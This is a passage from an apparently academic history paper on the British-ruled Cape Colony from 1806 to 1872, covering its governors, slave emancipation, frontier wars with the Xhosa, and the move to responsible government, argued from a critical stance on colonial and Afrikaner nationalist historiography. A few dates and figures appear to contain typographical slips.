The second British Cape Colony (1806–1814) with the British holding the colony by conquest, undoubtedly improved the economy of the Cape. Also, from an objective political-historical view away from the contaminated writings of Afrikaner nationalist writers and historians, the governmental administration, law-enforcement and law-making as well as the execution of leadership, progressed. Although serious issues like border and racial conflicts remained largely unchanged, they did have plans to address it. The British governors were backed by a much stronger system than were the Batavian governors.

The South African race issue became more and more laden with aggression, hate and murderous intentions from 1814 onwards.

3.4 Third British occupation of the Cape Colony (1814–1872) by treaty1,2,9

3.4.1 Autocratic governors

The Cape Colony became a rightful British possession with the Peace of Paris. The Netherlands was forced to hand it over to the British Empire permanently in August 1814. The seventeen governors who served from 1814 to 1872 were as follows1,2,9:

1814–1826: Charles Somerset

1820–1821: Rufane Shaw Donkin

1826–1828: Richard Bourke

1828–1833: Galbraith Lowry Cole

1833–1834: Thomas Francis Wade

1834–1838: Benjamin d’Urban

1838–1844: George Thomas Napier

1844–1847: Peregrine Maitland

1847–1847: Henry Pottinger

1847–1852: Sir Harry Smith

1852–1854: George Cathcart

1854–1854: Charles Henry Darling

1854–1861: George Grey

1859–1862: Robert Henry Wynyard

1862–1870: Philip Edmond Wodehouse

1870–1870: Charles Craufurd Hay

1870–1877: Sir Henry Barkly

The British authority lacked democracy. On the other hand, the Boers wanted excessive freedom. This dissatisfaction with authority and the limitations of borders limited their vision. They were intolerant of all forms of control and so intensely individualistic that it became difficult to unite them for effective cooperation. This became characteristic of many of the Boers during the Great Trek and later on in their “Promised Land”, the Boer-republics.1,2,4,10

Between 1806 and 1814 there were not large numbers of British citizens in South Africa, so the British that were present were only there to rule. After 1814 this changed dramatically when thousand of British settlers arrived. Although they were outnumbered by the Boers, they had the backing of the British government and thus the Cape authority. The introduction of British assumptions and laws and the large new English population, created a world that the Boers were not ready for. This ultimately led to negative outcomes. Roberts reports4:777:

This opened a period of whittling away of the privileges of the Boers, as the Dutch farmers were called. In particular, they were excited and irked by any limitation of their freedom to deal with the native African as they wished. Their special indignation was aroused when, as a result of the general abolition of slavery in British territory, some 35,000 of their blacks were freed with, it was said, inadequate compensation.

The Boers became increasingly annoyed, especially with their lack of influence. The Boers found the British regime unacceptable and below standard with respect to full political rights. Roberts says the following about the relationship between the Boers and British4:778:

It was the beginning of a long period during which Anglo-Saxon and Boer struggled to live sometimes apart, sometimes together, but always uncomfortably, their decisions as they did so dragging in their train others about the fate of black African. Charles Somerset (1814–1826)

Somerset arrived at a time when the relationship between non-White and White and between British and Boer had been damaged. The autocratic Charles Somerset damaged these already sensitive relationships further with his management of the unrest at Slaughter’s Neck, causing the dislike for the British occupiers to increase as a result of his over-reach with his political and juridical powers.1,2,10

Somerset inherited the eastern border problem. The policy of segregation failed and led to further Xhosa attacks on the White areas. In this instable situation, two Xhosa leaders entered into conflict themselves. This caused the one leader, Ndlambe, to move into White territory. He reached as far as Grahamstown for an unsuccessful attack on 22 April 1819. Somerset ignored London’s liberal policy and started a clean–up operation by removing the Xhosas from the area between the Fish and Keiskamma Rivers, making the Keiskamma the new outer border. He created a neutral area between the Fish and Keiskamma Rivers as a buffer to keep the factions away from each other and reinstated the segregation policy.1,2,10

Somerset addressed slavery by issuing a proclamation in 1816 making it compulsory to register all slaves. In 1823 he determined the workdays and hours of slaves and prescribed the minimum standard of their food and clothing rations. Married slaves could no longer be sold separately, and the Christian religion had to be made available to them. The number of strokes for physical punishment, and their testimonies were allowed in the court in cases against their owners. In 1826, a slave protector was appointed in Cape Town and various assistant protectors in the rural areas to attend to the complaints of slaves.1,2,10

In the meantime, the British government acted to minimize the Dutch influence in the Cape. They Anglicized the churches, schools and the legal system.1,2,4,10

Although the autocratic and despotic one-man regime at the Cape was replaced by a governor and a Council of Advice that could make laws by way of ordinances, the early Afrikaners could give little input. The problems between the British and the Boers were largely attributable to failure on the side of the British to appoint an effective leader at the Cape who considered the interest of the Afrikaners. Roberts4 points out how this became a situation ready for conflict4:780:

When people then spoke of a ‘racial problem’ in South Africa, they meant the problem of relations between the British and Boers whose conciliation seemed the most urgent need. The defects of the settlement would take some time to appear. When they did it would be not only because the historical sense of the Afrikaner proved to be tougher than people had hoped, but also because of the transformation of South African society which had begun by the industrialization of the Rand could not be halted and would give irresistible momentum to the issue of black Africans.

These racial defects never disappeared – the foundation had been laid for Afrikaner nationalism and its rejection of anything British. The cracks that would lead to a deep divide among Afrikaners, the subsequent founding of the Republic of South Africa 1961, and Apartheid with its racial discrimination, had started to appear.1,2,4,10

The British government was caught off-guard by the British Settlers of 1820. The process started while Somerset was on leave in Britain (1820–1821), leaving the Cape in the hands of an acting governor, Donkin. The settlers, who were used to democracy, immediately got into conflict with the government. This brought a second force to the foreground against the Cape Colony’s way of ruling and their human rights practices. Although most of these immigrants had no voting rights in the UK (this only changed in 1832), they knew what discrimination was why they had to fight it. The settlers’ agitation and resistance on various terrains started slow political reform at the Cape.1,2,4,10

The arrival of the British settlers also affected the Boer–British relations. The settlers were placed in or near Black territories and close to the Xhosa conflict. They became the Eastern Province. They were more well-intended towards the Crown and were therefore considered a better defence. The Western Province was inhabited by a more political independent-minded population.1,11

The Cape colonists did not get into direct conflict with Somerset, they left that to the British Settlers. The settlers had success in 1828 when Bourke came to power.1,2,10

Grundlingh10 writes as follows about Somerset10:174:

The autocratic Somerset in his self-righteousness did not realize that the influence and power of the ruling “High Tories”, his congenial spirits and protectors, were decreasing in his mother land. The rise of the progressive “Young Tories” under the leadership of Canning, and especially the increasing power of the liberal Whi-opposition, heralded the beginning of the end of Somerset’s glory. The increasingly passionate criticism of Dr. John Philip and Exeter Hall contributed greatly to undermining the governor’s authority.

There is no doubt that Somerset made more enemies than friends and that his rule, besides the exaggerations of his Exeter Hall and settler enemies, had serious flaws like tyranny and corruption. The Governor was sharply criticized in the British parliament, and his actions came under the scrutiny of the Colebrook-Bigg commission, who visited the Cape from 1823–1826 for a thorough investigation into a number of government matters (Own translation).

The autocratic behaviours of the various governors at the Cape were being questioned. Human rights also began to make some progress, although it was still limited. The introduction of the first rudimentary rights for the Cape’s Black population was a prominent step in the right direction.11 Richard Bourke (1826–1828)

During Somerset’s second leave (1626–1628), the acting governor, Richard Bourke, suddenly had to face a flood of pro-Black sentiment from for instance John Philip. Bourke himself was pro-Black, and started a process to undo the limitations Somerset and earlier governors had imposed on the Black population. The Black-White conflict was steered by a liberal policy that the early Afrikaners saw as discriminatory. They felt that it affected their property, economic, social and political rights. The British started using KhoiKhoi to police Whites, and with Ordinance 49, all legislation that had forbidden Blacks to cross the border into the Colony was recalled. The punishment expeditions of White farmers to retrieve stolen livestock from across the borders were forbidden. Ordinance 50 recalled all legislation pertaining to the KhoiKhoi and lifted discriminatory laws against the free inhabitants of the Colony with respect to property rights, movement, living place, lifestyle or work and choice of work. The KhoiKhoi, Khoisan and free Coloureds received the right to own property. Legislation to fight slavery was also put in place, with laws to abolish it following. The political and social position of non-Whites in the bigger British society improved dramatically from 1928.1,2,11

This progress with Black emancipation was followed up with the rule of Galbraith Lowry Cole (1828–1833). He shortened the working hours of slaves and stipulated better accommodation. In August 1833 legislation was passed that slavery would be forbidden after the 1st of December 1836 in any of the British colonies.1,2,10

The reformations still did not bring democracy to the Cape. It was a first wave of human rights and freedom for the Xhosas, KhoiKhoi, KhoiSan and slaves.11 Benjamin D’Urban (1834–1838)

D’Urban inherited the immense task of emancipating 39 021 slaves. He had to calculate the value of the slaves. Compensation for slaves became a disputed topic in South African history books as parting with “Black gold” meant tremendous losses.1,2,10

Grundlingh writes10:179:

All this led to utter bewilderment at the Cape. Mortgages were foreclosed on; foreign agents and speculators exploited the confusion of the colonists by buying up their claims for ridiculously low sums. Many slave owners received one fifth or less of the capital value of their slaves. Wealthy families, especially the large patriarchal households in the Western Province, became so impoverished that many were unable to overcome the significant economic crisis. Stock farmers in the outlying districts also suffered. Although they had fewer slaves than the Boland farmers, some of them were quite considerable slave owners (Own translation).

The above Afrikaner sentiment that was mostly put on paper during NP rule, is misleading. Firstly, as with any apparatus or instrument used to generate money, there is always the unavoidable annual depreciation of the apparatus or instrument as a direct result of use and damage (with a slave this would take the form of aging, poor health, being constantly over-worked, poor accommodation, live conditions, and money already generated for his owner, etc.). It seems that the values were calculated on the sales value of the slaves (in other words a depreciated price) in 1836 and not on the initial purchase price minus the depreciation. Secondly, the many children born to slave parents became the sole property of the farm owners. Geen reflects as follows on the economic impact of the developments in the slave trade1:55:

It is true that the abolition of the slave trade proved to be a source of gain for a time, for the value of the slaves increased and, as their owners obtained considerable profit from the hire of their labour, greater care was bestowed on them.

Geen’s1 description below shows the subjectivity and arrogance of many of the White South African writers before 1990. They adhered to an undisputed right of ownership, even as late as the beginning of the 19th century. One human being may own another human as long as the owned person was Black1:55:

However, the numerous regulations made slave-ownership a burden, as the slaves were gradually removed from the control of their owners, though they continued to be private property. In contrast to the West Indies slavery at the Cape was largely domestic and the slaves on the whole were well treated, so that Lord Charles Somerset could write to the Colonial Secretary, ‘No portion of the community is better off or happier, perhaps, than the domestic slave in South Africa.

If the slaves were such a burden, why did the British government struggle so much to grant them freedom from 1816 onwards and why did the White slave owners at the Cape try everything to prolong slavery? Geen1 neglects to mention that it was only in the time of De Mist that the use of the pain bench and the barbarous torture of slaves were forbidden. The 1823, 1826 and the 1830 Ordinances had to end everything that was still happening to slaves. If the Whites were so “fond of their slaves”, seemingly as intimate family members, why did they want to keep them in chains? Somerset is the last person to make remarks on slaves. He had a track record of cruelty to any opposition, even other Englishmen, at the Cape.1,2 Did Geen1 forget the Slaughter Nek’s executions of five White farmers by Somerset or Somerset’s punishment of the Xhosas?

It later became fashionable for South African history books written by Whites to attack individuals such as William Wilberforce, his wife Hannah Gurney, Elizabeth Frey and Dr Philip and other Whites for their roles in the emancipation of not only of Black slaves, but also “free” Blacks from political oppression in their own country by foreign settlers. They were called “Black boeties” or “negrophiles”. These personal attacks lack any sound arguments and insight. These derogatory names were also used by the Afrikaner nationalists of the Verwoerdian republic to refer to Jan Smuts. “Liberal” people like Wilberforce were ahead of their times and they laid the foundation of today’s Code for Humanity. These “Black Boeties” should get more respect in the modern South African political history. They shone the rare light in a dusky world of abuse and suppression of non-Whites, helping to bring humanity to all.1,2,7,10,11,14-17

The importance of these early abolitionists, not only in South Africa but worldwide, is well described by Martinez12:235:

The abolitionists raised the political and moral consciousness of enough people to change the rules of their society. By redefining what was acceptable, they built a movement powerful enough to make the unthinkable inevitable. A similar task faces all those who value freedom today. The moral and political consciousness of society once again needs to be raised; a unifying, compelling, inspiring vision again needs to be articulated – and the ideal of freedom needs to be at its core.

The argument on the “value” of Black slaves is a further indication of how morally sick the White community at the Cape had become over time. Their value was calculated equally to that of cattle in the 1830s. Geen states1:56:

Besides some very old slaves, there were at the Cape 35,800 slaves valued at ₤3,041,290:6:0 – an average of just over ₤85 each…


The colonists did not object to the emancipation itself, …but they did resent the financial loss it involved and, still more, the fact that no vagrancy laws were passed to control the movements of the liberated slaves, who became ‘free persons of colour’ in terms of Ordinance 30.

South Africa had become a White country for the benefit of Whites only. “Free” non-Whites were walking around without work, homes and internal security by the 1830s because of the abuse of non-White labour and the orchestrated disorganization of their societal life, their political suppression, their dehumanization and the illegal occupation of their land by Whites. This resulted in immense poverty and political disorientation. The many similarities between the situation in the 1830s and the situation in South Africa from 1910 to 1994, are obvious. It shows us where the dispensation of 1910 to 1994 came from.1,2,10,14

The fact that farm activities came to a virtual halt without the presence of slaves after emancipation shows how selfishly slave owners previously profited from cheap labour. Why could the members of the large patriarchal families not do the work themselves given their numbers? Was it White laziness? The Council of Policy in 1717 described the Whites as “lazy and incompetent and more expensive than slave labour”,1:22 or was it because the White farmers were13:7-8:

…drunken, lazy, boorish oafs who went to stay at the Fort despite all threats and coercive measures, and set up boarding houses, attempted to exploit sailors and visitors, and further wasted their porch-sitting lives with endless drink and idleness, which is the root of all evil (Own translation).

or was it because,

…every common or ordinary European becomes a gentleman and prefers to be served than to serve…We have in addition the fact that the majority of the farmers in this Colony are not farmers in the real sense of the world, but owners of plantations, and that many of them consider it a shame to work with their own hands.1:25

Although the emancipation was meant to teach Cape Whites to find dignity in manual work, it failed to do so. The early Afrikaners’ alleged loss of about three million rand from the emancipation of the slaves in 1836, is nonsense.10:179 Why could the British settlers make a living on their farms at the Cape without slave labour?10

The poor remuneration to White farmers for their freed slaves is often cited as the main reason for the Great Trek. The poor payment was undoubtedly a secondary reason for the Great Trek, but later Afrikaner writers exaggerated its importance. The primary reason for the Great Trek was racism and the early Afrikaners blindly refusing to be equal to slaves and Black citizens.1,2,10

In this regard Geen writes1:67:

Perhaps, Mrs. Anna Steenkamp, a niece of Piet Retief, writing in 1876 has expressed as truly as anyone the most important cause of the Great Trek: ‘The shameful and unjust proceedings with reference to the freedom of our slaves; and yet it is not so much their freedom which drove us to such lengths, as their being placed on an equal footing with Christians, contrary to the laws of God, and the natural distinction of race and colour, so that it was intolerable for any decent Christian to bow down beneath such a yoke; wherefore we rather withdrew in order thus to preserve our doctrines in purity.

Geen gives an apt summary of the benefits of the emancipation1:56:

…in the words of the great English historian, Lackey, ‘The unweary, unostentatious and inglorious crusade of England against slavery may probably be regarded as among the three or four perfectly virtuous pages comprised in the history of nations’.

In the South Africa of 1830s emancipation did not bring one-man-one-vote, but at least it gave some dignity to non-Whites. However, they were low on the socio-economic ladder. The improvement came solely by order from London, not due to the morality or efficiency of the governors at the Cape.

D’Urban did make changes to the executive management of the Cape Colony to make it more liberal so that it could serve the people. He did this by the replacing the Council of Advisory by a Legislative Council and adding five to seven members to the Cape government. Although the governor’s autocratic power was not greatly affected by this change, this new legislative body’s approval was needed in future for the proclamation of ordinances. However, much of the government was still run from London.1,2,10

The Xhosa conflict did not disappear after the 1830s, notwithstanding the various ordinances to improve the citizenship of non-Whites. This hostile aggression of this situation was far more complex and the various Xhosa wars did not cease. In 1834 the Sixth Xhosa War broke out when 15 000 Xhosa soldiers unexpectedly entered the Colony. The outcome was devastating for the Whites (and for future Black-White relations): 22 White farmers were murdered, 456 homesteads burned down, 5 700 horses, 115 000 heads of cattle and 161 000 sheep were stolen by the Xhosas. D’Urban’s reaction was fierce and swift. He drove the Xhosas from the White farming areas and established the Province of Queen Adelaide between the Kei and Keiskamma rivers. London overruled this in 1836 and the area was handed back to the Xhosas with the reinstatement of the 1819 borders.1,2,10,14

By the end of D’Urban’s reign there had been no improvement in Black-White relations and the direct conflict between the two races raged on, especially the aggression from the Xhosas. In 1846 the new governor, Pedegrine Maitland (1844–1847), fought the War of the Axe. Again the Xhosa warriors penetrated the Colony in a war that lasted the terms of governor Henry Pottinger (1847–1847) and governor Harry Smith (1847–1852).1,2,10,14 Harry Smith (1847–1852)

Smith, like his predecessors, inherited the Cape Colony’s chaotic Black-White relations, border conflicts, growing Xhosa unlawfulness and a London government that lacked an understanding of the political and racial energies of Southern Africa. Some of Smith’s efforts to manage the border did partly correct some of the political failures of the past. In an effort to contain the ongoing war-like behaviour of the Xhosas, Smith declared the area previously known as the Province of Queen Adelaide a formal British area. The name changes to British Kaffraria, but it was not part of the Cape Colony. It became a separate Black reserve, managed by a Chief Commissioner that resorted with the British High Commissioner. However, peace still eluded the border areas. In 1850 military villages in British Kaffraria were destroyed by the Xhosas. Some of the inhabitants were murdered and the Colony was again entered again, which led to another series of murders of White farmers and the destruction of farms.1,2,10,14

What made the situation in 1850 worse, was the entrance of a non-White allied force against the British rulers of the Cape Colony. It no longer consisted of the Black inhabitants of British Kaffraria only, but of groups from Transkei and the Kat river KhoiKhoi. Smith indecisiveness on finding a workable solution to the growing Xhosa problem, led to his replacement by George Cathcart (1852–1854) who successfully reinstalled the British management of British Kaffraria. However, he did not really establish permanent Xhosa rule. This finding of a solution became the task of George Grey (1854-1861).1,2,10,14

By the 1860s it was clear that the autocratic Cape governors, guided by their unable imperial government in London, had been failing to serve all the inhabitants of the Cape, Black and White. The Cape Colony remained autocratic, while the racial situation became increasingly explosive. A permanent hostility had developed between the Whites, mostly the early Afrikaners, and the Xhosas. It seemed that the only resolution would be one of the groups being wiped out completely.1,2,10,14 George Cathcart (1852–1854)

By the 1850s the autocratic style of governance became untenable. A unity started developing among the White Afrikaans-speaking inhabitants and the English-speaking settlers and they started viewing the government as oppressive. This newfound unity was illustrated by their joint obstruction of the boat Neptune, which was set to unload bandits from Britain at the Cape in 1849. Harry Smith, the then governor, wrote as follows about this unity1:80: “This is the first occasion on which Dutch and English inhabitants coalesced in opposition to Government”. Prominent leaders against the penal colony for convicts (similar to Australia) were Porter, Solomon, Fairbairn, Molteno and Stockenström. This unity between the White groups goes deeper: they had an overwhelming belief that London was incapable of understanding the Cape inhabitants’ interests. They strove for self-government based on liberal, inclusive multi-racial politics.15,16

This unity changed the views in London, making the government more inclined to eventually granting some form of self-government for the Cape. The Attorney-General at the Cape sent a draft constitution to London, which was returned after revision by the Privy Council in London.1,2,10,14 This set into motion a process in 1830 where two petitions to London from the Albany District and Cape Town asked for representative government. It was without success. In 1841, the two districts re-petitioned London, on which the Colonial Secretary replied1:79:

The Colony was not ripe for such a measure’ and enlarged upon some of the difficulties in the way of introducing an elective assembly – the choice of a capital, the possible separation of the Eastern Province, the coloured franchise and the danger of the townsmen gaining control of the parliament.

In 1848, Harry Smith renewed the request for self-government at the Cape. This led to the preparation of another draft constitution in February 1850, but infighting delayed the outcome (infighting had behaviour become typical in South Africa and in the later Boer republics).1,2,10,14,16,18

During the office of Cathcart, the first signs of democracy appeared in the Cape Colony with the establishment of a Parliament in 1853 by her Majesty, the Queen. The constitution was finally approved in December 1852 by the Duke of Newcastle, the then Colonial Secretary. It was promulgated as the Constitution Act of 1854. In 1853, the Cape Colony became a British Crown colony. The Cape’s “independence” came through a gradual evolution and not a sudden revolution.1,15,16,18

Geen comments as follows on the work and powers of the first parliament (1854–1858)1:81-82:

The Governor had to convene Parliament at least once a year; he could dissolve both houses of the legislature or the House of Assembly alone; he could approve or veto the bills passed by Parliament or submit them to the Crown, which retained the power to disallow them within two years of their reaching England. The Executive Council was still composed of senior officials appointed by the Colonial Secretary and was responsible to the Governor and not to the Parliament, but it could not follow a policy opposed to the wishes of Parliament, which consisted of two houses. The upper house, called the Legislative Council, consisted of fifteen members elected for ten years, seven by the Eastern Province and eight by the Western Province. On the first occasion, the four members for each Province with the least number of votes had to retire after five years. Members had to be at least thirty years of age and possess ₤4,000 worth of general property or land to the value of ₤2,000. The Chief Justice was the President of the Council, but he had not the right of voting. The lower house, the House of Assembly, had a membership of 46, elected for five years by 22 constituencies, Cape Town alone being represented by four members. The Speaker…was elected by the members and he had a casting vote. The franchise was a liberal one and remained unchanged for almost forty years. The vote was given to all adult male British subjects, who earned at least ₤50 a year or had occupied for at least a year property with a minimum rental value of ₤25 per annum. Thus was Ordinance 50 carried to its logical conclusions and not on colour introduced by the new constitution.

The Constitution Act of 1854 was a relatively liberal document that prohibited any racial or class discrimination. It instituted a non-racial qualified franchise. The same qualifications for suffrage were applied equally to all males, regardless of race. It changed the Legislative Council to the Upper House of the new parliament, of which members were elected according to the Western Province and the Eastern Province that formed the Colony. A New Lower House, the Assembly, was also constituted.16,18

However, the Constitution of 1854 was a troublesome one: it instated a parliament without a parliamentary government. The executive power remained as before firmly with the office of the appointed governor from London. The parliamentary body led to serious conflicts between the representative legislative power and the appointed executive power until 1872. This was especially true during the political abuse and power play of governor Philip Edmond Wodehouse (1862–1870). This unstable governmental system and its ineffective constitution created enormous conflict between the Cape inhabitants and the British in London.11,16,19 Wiid writes as follows about this early effort to bring some form of democracy to the Cape19:324:

The constitution of 1853 carried the seed of self-destruction and provided sufficient proof of its uselessness. Repeated disagreements and deadlocks between the resprentative legislative authority and the elected executive authority, especially during the rule of the autocratic sir Philip Wodehouse, demonstrated that a parliament without parliamentary government under the British system was a constitutional evil (Own translation)

For the poor non-Whites, who formed the majority of the non-Whites and the total South African population, this legislation did not bode well, notwithstanding its non-racial clause. It had the potential to become a White man’s and a rich-man’s constitution to maintain White rule. Both the Dutch and English wanted to ensure that they could dominate politically. This became clearer after 1874. The only power available was in the hands of the executive governor and London.1-3,10

It took eighteen years to move to a more democratic system. Since 1853, a more realistic idea started to develop about effective rule in the Cape. Prominent was the growing political and financial responsibility assigned to the management of the Cape Colony. Internal struggles also obstructed effective governance from London. It was clear that an improvement to the self-management of the 1853 constitution at the Cape was urgently needed.10

The initially introduction of the representative constitution was delayed by the Eight Xhosa War. The First Cape Parliament (1854-1858) was at last opened by Governor Charles Henry Darling (1854–1854) on the 30th of June 1854. The governor that really implemented the constitution and its parliament was Sir George Grey (1854–1861).1,2,10,16,17

This First Cape Parliament (1854-1858) was, in terms of office, followed by the following three parliaments15,16,18:

  • Second Cape Parliament (1859–1863)
  • Third Cape Parliament (1864–1869) [Office was ended by dissolution of British Governor]
  • Fourth Cape Parliament (1870–1873) Henry Barkly (1870–1877)

The deadlocks and conflicts between the representative legislative power and the appointed executive power of the First Cape Parliament continued, hampering political decision-making. In 1862, Wodehouse got into trouble with the Cape Parliament, which refused to take over British Kaffraria from the imperial government or to impose additional taxation. British Kaffraria was annexed in 1865 by a bill that also increased the membership of the Legislative Council to 21 and the House of Assembly to 666 to include the representatives of British Kaffraria. After another conflict and a deadlock in the Parliament in 1869, the governor dissolved parliament. This internal conflict between the executive and legislative powers continued, and in May 1870 the parliament was prorogued. Democracy, even in its primitive form, was not handled effectively by the Cape Colony’s inhabitants, however much they dreamed and fought for democracy and their political rights since 1652.1,2,19

Ultimately, the Colonial Secretary ordered Henry Barkly (1870–1877) to introduce responsible government at the Cape. The colony and its ineffective leaders were becoming more of a burden than an asset. The British government felt that drastic action was needed, as Wiid17 states19:325:

The British government argued that, if the Cape colonists would not be ruled from above, they should be allowed to assume the responsibilities of self-government (Own translation).

This noble belief (and hope) of the Empire was easier said than done. Notwithstanding their internal fights and obstructions, Barkly steered the colonists. A Responsible Government Bill was passed to instate responsible government in 1870. It passed successfully through the House of Assembly, but was rejected by the Legislative Council owing opposition from the Eastern Province. The bill was finally passed in April 1872 by both houses, but opposition was still prominent.1,15,16

After unsuccessful appeals to eminent Capetonians, like Southey, Porter and Solomon, Barkly asked JC (John) Molteno (who also became the first Prime Minister) to put a government together, which he did with success. The 1872 Constitution of the Cape Colony, also known as the Constitution Ordinance Amendment Act of 1872, had as its underlying principle full responsible government for the Cape Colony. It brought important changes to the political empowerment of the Colony’s inhabitants. This happened 220 years after the establishment of the Cape Refreshment Settlement. This development ended the autocratic reigns of governors, like Phillip Edmond Wodehouse (1862-1870), who became famous for their wrongdoings. Sir Henry Barkly’s efforts and initiative as well as that of the Colonial Secretary in London to bring full responsible government for the Cape Colony, are praiseworthy and shows that the British leadership in London was not always unsympathetic to the colonists’ interests. Also, the prominent role of Sir John Molteno, an English-speaking Capetonian, in getting Afrikaans- and English-speaking Whites into a political unity to embark on responsible government towards the Union’s foundation, needs special reference. Barkly and Molteno were the first good leaders at the Cape.1,2,15,16,18

The positive implications of the Constitution Ordinance Amendment Act of 1872 were numerous, as Geen1 spells out1:84-85:

Responsible Government means government by a ministry which is responsible to Parliament and which continues in office only as long as it receives the support of the lower house of Parliament. Thus civil servants appointed by the Colonial Secretary and responsible to him through the Governor ceased to form the Executive Council, which from 1872 consisted of a Prime Minister without any other portfolio and four other ministers, all of whom were members either of the House of Assembly or the Legislative Council and belonged to the party in power in the former body. The Cape Government could no longer be ordered by the Imperial Government to do what it did not want to do, though it could have foreign policy of its own and was bound by many British treaties that affected the whole Empire and also by various admiralty and merchant shipping laws. However, the Governor had to act on the advice of the Cabinet in regards to local matters, though as High Commissioner he still had considerable powers in territories beyond the borders of the Cape Colony.

The new constitution held non-racialism as a core value, while the universal qualification for suffrage of ₤25 was seen as sufficiently low to ensure that most owners of any form of property or land could vote. An effort to raise it was successfully stop although it was agreed that rising in levels of wealth would eventually render it obsolete. Many new voters registered, specific the rural Xhosas of the frontier areas who were mostly communal landowners and therefore eligible for suffrage. This caused racial conflict. An important outcome was that the operating language of the Parliament was English, creating to a limitation of (and discrimination against) Dutch-speaking members because of their inability to speak English.15,16,19

The Fifth Parliament (1874–1878) was finally put in place. However, in the eighteen years from the promulgation of the Constitution Act of 1854 to the Constitution Ordinance Amendment Act of 1872, little changed with regard to racial and cultural conflict, and it all transferred to the Union of South Africa.1,2,15,16

3. Discussion

The Third Marquess of Salisbury, Robert Arthur Gascoyne-Cecil, the British prime minister at the height of Britain’s imperial power, believed that to ensure the stability of the wonderful and joyous Empire of Queen Victoria, as little as possible must be done to maintain the utopia. Gascoyne-Cecil summarized this belief in a single sentence quoted by Barber20:1: “Whatever happens…will be for the worse, and therefore it is in our interest that as little should happen as possible”.

Barber20 does points out that Salisbury was by no means the only political leader who aspired to do very little. Barber writes20:1:

William Evarts, secretary of state in the administration of US President Rutherford B. Hayes (1877–81), admonished him once by saying, “You don’t sufficiently realise, Mr President, the great truth that almost any question will settle itself if you only let it alone long enough”.

Barber continues by describing the US president Calvin Coolidge (nick-named Silent Cal).20 His biographer, Amity Shlaes, wrote20:1: “Congress always says ‘Do’. Coolidge replied, ‘Do not do’, or at least, ‘Do less’”.

When looking to the political history at the Cape 1795 to 1872, the Salisbury, Evarts and Coolidge attitude became the curse of the inhabitants of the Cape Colony under British rule. As little as possible happened on the political field. The belief was human rights politics would cause chaos at the Cape. The belief was also that the race factor would settle itself.15,16,19

It seems that although the British governors were well-educated men and had talent in terms of thinking, planning and doing. However, they were driven by the imperial spirit to establish and to maintain their much loved Empire.

In the ‘civilized world’ of the British of 1872, it was clear that the Cape Colony’s inhabitants were lacking good British culture. The British, were obliged to make the people of the backwards Cape Colony acceptable and functional parts of their grand Mighty Empire. This “backwardness” is to a great extent the truth, as Wiid confirms19:324:

This colony was still conducting a politically restricted life and, as consequence, lost many of its strongest sons as emigrants. Before the seventies, Afrikaans speakers – who back then only comprised about three quarters of the white population in the Colony – only provided around one third of the members of parliament (Own translation).

But Wiid shows that this backwardness was also created and maintained by the British Empire with their suppression of human and political rights.

The non-Whites’ voting rights, based on the multi-racial Cape Qualified Franchise, using the universal qualification for suffrage of ₤25 as sufficiently low to ensure that most owners of any form of property or land could vote, was a mislead plan to keep them out of the Parliament. The majority of these non-Whites – from KhoiKhoi, KhoiSan, Coloureds to free slaves, as well as Blacks inside the borders of the Cape Colony – was absolutely poor. Most of them could not speak English, which disqualified them as voters. Even early Afrikaners – people who were better educated and economically more stable in the period 1795 to 1872 – could be excluded by the Constitution Act of 1854. Wiid writes19:331:

In these circumstances the Afrikaans-speaking, who at the time constituted about one third of the White population at the Cape, delivered about one third of the parliament before the seventies (Own translation).

There is an immense difference between professing multi-racial politics or race equality in theory, and practicing human tolerance. The White Cape inhabitants knew from early on that to rule the Colony and its people they must capture and hold on to two intertwined energies: money and politics: they who have the money rule the politics and they who have the politics rule the money. Chomsky21 explains this fact clearly21:55:

…concentration of wealth leads almost reflexively to concentration of political power, which in turn translates into legislation, naturally in the interests of those implementing it…


…concentrated wealth will, of course, try to use its wealth and power to take over the political system as much as possible, and to run it and do what it wants, etc.

The Whites did not want a non-White regime in power after their “own suffering” on the hands of the VOC and the British Empire. Engelbrecht22 remarks on politicians after he reviewed Ronnie Kasrils’s23 book on Jacob Zuma, when he says22:12-13:

Kasril’s book reveals a serpent’s nest that confirms one’s suspicions that most politicians – everywhere, not just in South Africa – are cunning and dangerous snakes. [Own translation].

As a regime the British Empire was cold-blooded towards non-British persons when its interests were endangered. It did not hesitate to use extreme force when needed, as later reflected in their war against the Boers and their families during the Second Anglo Boer War (1899–1902). The British autocratic management of the Cape Colony inspired hostility among Blacks and Whites.1,2,10,12,23

They laid the table for future hate and rebellion.1,2

These British Empire’s military actions towards and suppressions of indigenous Southern Africans from the early 1800s are, when comparing it with their own modern British guideline to describe a terrorist, precisely the same, namely24:9:

  • Violence against a person;
  • Serious damage to property;
  • Designed to influence a  government or an international organization or to intimidate the     public or a section of the public;
  • With the aim of advancing a political, religious, racial or ideological cause.

This brings to the foreground Boon’s25:75 description of the characteristics of a political mobster:

Selfishness; delinquent inclinations all-over; strategies total stripped of all democratic principles, traditions, thinking, planning and doings; absolute intolerant; anti- order; minorities are quickly eradicated; coercion actions characterized by destruction, threat, killings and brutalities; aim the creation of a delinquent mob-reign; aim the exclusive of executive political mob-leaders to reign the country.

This contamination went much deeper: it also contaminated White inhabitants’ mindsets, as already reflected by the White frontiersmen along all the borders of the Colony.

The Cape’s inhabitants’ isolation from true democracy for over two hundred and twenty years made them political immature (and full of distrust for the Empire), as was reflected by their constant internal fighting and senseless tussling before the Constitution Ordinance Amendment Act of 1872 could finally be promulgated for self-management. This political immaturity was also internalized into the mindsets of the Voortrekkers as reflected by the problematic ruling of their Boer republics.

The period 1795 to 1872 was characterized by in-fighting between Afrikaans-speaking Whites and English-speaking Whites, the growth of the British Empire and British supremacy and the suppression of especially the non-Whites of Southern Africa. Murder was justified as a means to control Blacks. As much as the British showed justice to the slaves, they were cruel to those Blacks who were independent of their control and who resisted. The British leaders at the Cape, twenty-seven governors, failed. The “Spook of Godske” (Ghost of Godske), whose sole intention is to inspire racism and racial disharmony who started his night walks at the old Refreshment Station’s fort, it seems, had never come to rest, not even two hundred years later.1,12,19

The British Empire’s constant wavering and unpredictable policy on the personal and political rights of the Coloureds, KhoiKhoi, KhoiSan and Black tribes such as the Xhosas, a policy that ranged from a kind of “apartheid” to assimilation and to extreme suppression, undoubtedly laid the foundation of more than one political tragedy for South Africa waiting in the future.

The British Empire was a failed regime at the Cape Colony. The British never learned from the old Chinese proverb: Of all the stratagems, to know when to quit is best.

4. Conclusions

The two objectives of this study were to discover if the South African leaders of the period 1795 to 1872 made contributions to the country and its people during their time, and to determine if the behaviours of the South African leaders of the period 1795 to 1872 were impeccable.

The conclusions that are drawn from this study are presented in accordance with the aims and hypotheses as postulated in 2.2 to 2.5:

